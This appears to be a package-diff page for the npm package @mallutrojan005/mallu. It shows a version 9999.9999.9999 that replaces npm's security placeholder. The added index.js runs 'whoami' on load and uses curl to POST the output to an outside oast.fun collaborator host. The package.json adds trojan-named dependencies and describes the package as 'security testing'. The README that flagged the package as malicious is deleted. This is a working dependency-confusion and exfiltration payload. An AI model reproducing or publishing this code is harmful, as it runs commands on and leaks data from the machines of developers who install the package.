@mallutrojan005/mallu 0.0.1-security → 9999.9999.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @mallutrojan005/mallu might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +29 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
function sendPingback(data) {
|
4
|
+
const collaboratorUrl = "https://usbbcjkkyavkeqhiqzrdv5vnqip58g0j7.oast.fun";
|
5
|
+
exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
|
6
|
+
if (error) {
|
7
|
+
console.error(`Error: ${error.message}`);
|
8
|
+
return;
|
9
|
+
}
|
10
|
+
if (stderr) {
|
11
|
+
console.error(`Stderr: ${stderr}`);
|
12
|
+
return;
|
13
|
+
}
|
14
|
+
console.log(`Pingback sent: ${stdout}`);
|
15
|
+
});
|
16
|
+
}
|
17
|
+
|
18
|
+
function executeCommand(command) {
|
19
|
+
exec(command, (error, stdout, stderr) => {
|
20
|
+
if (error) {
|
21
|
+
console.error(`Error: ${error.message}`);
|
22
|
+
sendPingback(`Error executing command: ${error.message}`);
|
23
|
+
return;
|
24
|
+
}
|
25
|
+
if (stderr) {
|
26
|
+
console.error(`Stderr: ${stderr}`);
|
27
|
+
sendPingback(`Stderr: ${stderr}`);
|
28
|
+
return;
|
29
|
+
}
|
30
|
+
console.log(`Command output: ${stdout}`);
|
31
|
+
sendPingback(stdout); // Send the command output to the collaborator
|
32
|
+
});
|
33
|
+
}
|
34
|
+
|
35
|
+
// Example: Execute a command (e.g., 'whoami')
|
36
|
+
executeCommand('whoami');
|
37
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,32 @@
|
|
1
1
|
{
|
2
|
+
|
2
3
|
"name": "@mallutrojan005/mallu",
|
3
|
-
|
4
|
-
"
|
5
|
-
|
4
|
+
|
5
|
+
"version": "9999.9999.9999",
|
6
|
+
|
7
|
+
"description": "A simple package to trigger Burp Collaborator for security testing",
|
8
|
+
|
9
|
+
"main": "index.js",
|
10
|
+
|
11
|
+
"scripts": {
|
12
|
+
|
13
|
+
"test": "node index.js"
|
14
|
+
|
15
|
+
},
|
16
|
+
|
17
|
+
"author": "Your Name",
|
18
|
+
|
19
|
+
"license": "MIT",
|
20
|
+
|
21
|
+
"dependencies": {
|
22
|
+
|
23
|
+
"axios": "^0.21.1",
|
24
|
+
|
25
|
+
"collaborator-trigger05": "^1.0.9",
|
26
|
+
|
27
|
+
"mallutrojan1002": "^2.0.9"
|
28
|
+
|
29
|
+
}
|
30
|
+
|
6
31
|
}
|
32
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40mallutrojan005%2Fmallu for more information.
|